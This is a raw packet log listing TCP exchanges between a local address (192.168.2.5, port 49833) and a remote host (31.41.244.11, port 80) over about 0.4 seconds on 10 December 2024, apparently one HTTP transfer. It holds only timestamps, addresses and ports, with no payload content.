Dec 10, 2024 05:10:12.019972086 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.020782948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.020831108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.020986080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.021039963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.021816969 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.021859884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.021924973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.021965027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.022866011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.022908926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.022938013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.022979021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.023895979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.024017096 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.024060011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.024895906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.024943113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.025068045 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.025110960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.025883913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.025929928 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.025986910 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.026029110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.026926994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.026971102 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.027010918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.027945042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.027992964 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.028139114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.028186083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.028986931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.029032946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.029090881 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.029131889 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.030548096 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.030565977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.030592918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.030612946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.031205893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.031256914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.031307936 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.032195091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.032239914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.032265902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.032305956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.033138037 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.033155918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.033179045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.033191919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.034137964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.034322023 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.034363031 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.035208941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.035262108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.035433054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.035476923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.036117077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.036156893 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.036185980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.036226988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.037130117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.037169933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.176069975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.176162958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.176240921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.176539898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.176589966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.176769972 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.176817894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.177659035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.177709103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.177737951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.177782059 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.178601980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.178649902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.178689957 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.178734064 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.179667950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.179759979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.179811001 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.180660963 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.180711031 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.180748940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.180861950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.181664944 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.181737900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.181757927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.181802988 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.182724953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.182806015 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.182820082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.182866096 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.183710098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.183804989 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.183851957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.184775114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.184822083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.184886932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.184932947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.185779095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.185827017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.185898066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.185936928 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.186779022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.186844110 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.186880112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.186924934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.187819958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.187911987 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.188071012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.188114882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.188823938 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.188890934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.189001083 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.189050913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.189882040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.189946890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.189992905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.190030098 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.190891027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.190989017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.191020012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.191121101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.191936970 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.191979885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.192047119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.192260981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.192974091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.193017006 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.193054914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.193105936 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.193950891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.193999052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.194068909 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.194108963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.194983959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.195054054 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.195082903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.195188999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.196013927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.196079016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.196120977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.196202993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.197052002 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.197120905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.197122097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.197181940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.198071957 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.198137045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.198174000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.198219061 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.199062109 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.199141979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.199172974 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.199249029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.200160980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.200237036 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.200284004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.200346947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.201128960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.201200008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.201327085 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.201370955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.202156067 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.202229977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.202260971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.202305079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.203193903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.203247070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.203291893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.203413963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.204199076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.204257965 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.204288960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.204387903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.205387115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.205447912 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.205630064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.205681086 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.206311941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.206366062 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.206386089 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.206432104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.207289934 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.207348108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.207643986 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.207695007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.208344936 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.208401918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.208498001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.208586931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.209336042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.209388971 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.209424973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.209517002 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.210320950 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.210383892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.210490942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.210536003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.211340904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.211415052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.211441994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.211498976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.212353945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.212410927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.212482929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.212531090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.213401079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.213484049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.213515997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.213560104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.214437008 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.214492083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.214504004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.214539051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.215462923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.215549946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.215569973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.215615034 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.216476917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.216583014 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.216586113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.216628075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.217544079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.217588902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.217632055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.218511105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.218570948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.218606949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.218650103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.219518900 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.219645977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.219690084 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.219715118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.220544100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.220597982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.220638990 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.220681906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.221594095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.221649885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.221682072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.221721888 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.222592115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.222666025 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.222704887 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.222800016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.223643064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.223737001 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.223784924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.223834991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.224656105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.224699020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.224771976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.224813938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.225681067 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.225732088 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.225800991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.225855112 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.226685047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.226792097 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.226794004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.226836920 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.227704048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.227761030 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.227797031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.227839947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.228727102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.228837013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.228847027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.228919029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.229682922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.229746103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.368501902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.368554115 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.368583918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.368623018 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.368966103 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.369091034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.369117975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.369153023 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.369956970 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.369998932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.370031118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.370065928 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.370965958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.371007919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.371067047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.371108055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.371989012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.372030020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.372112989 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.372152090 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.373028040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.373075008 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.373111010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.373155117 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.374033928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.374082088 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.374147892 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.374187946 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.375081062 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.375127077 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.375159025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.375205994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.376070976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.376112938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.376224041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.376264095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.377125025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.377163887 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.377199888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.377238035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.378129005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.378196955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.378293037 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.378331900 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.379168987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.379216909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.379256010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.379297972 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.380171061 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.380310059 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.380342007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.380356073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.381186008 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.381225109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.381342888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.381380081 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.382244110 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.382285118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.382316113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.382354975 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.383245945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.383285046 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.383310080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.383352995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.384289980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.384332895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.384366035 CET	80	49833	31.41.244.11	192.168.2.5
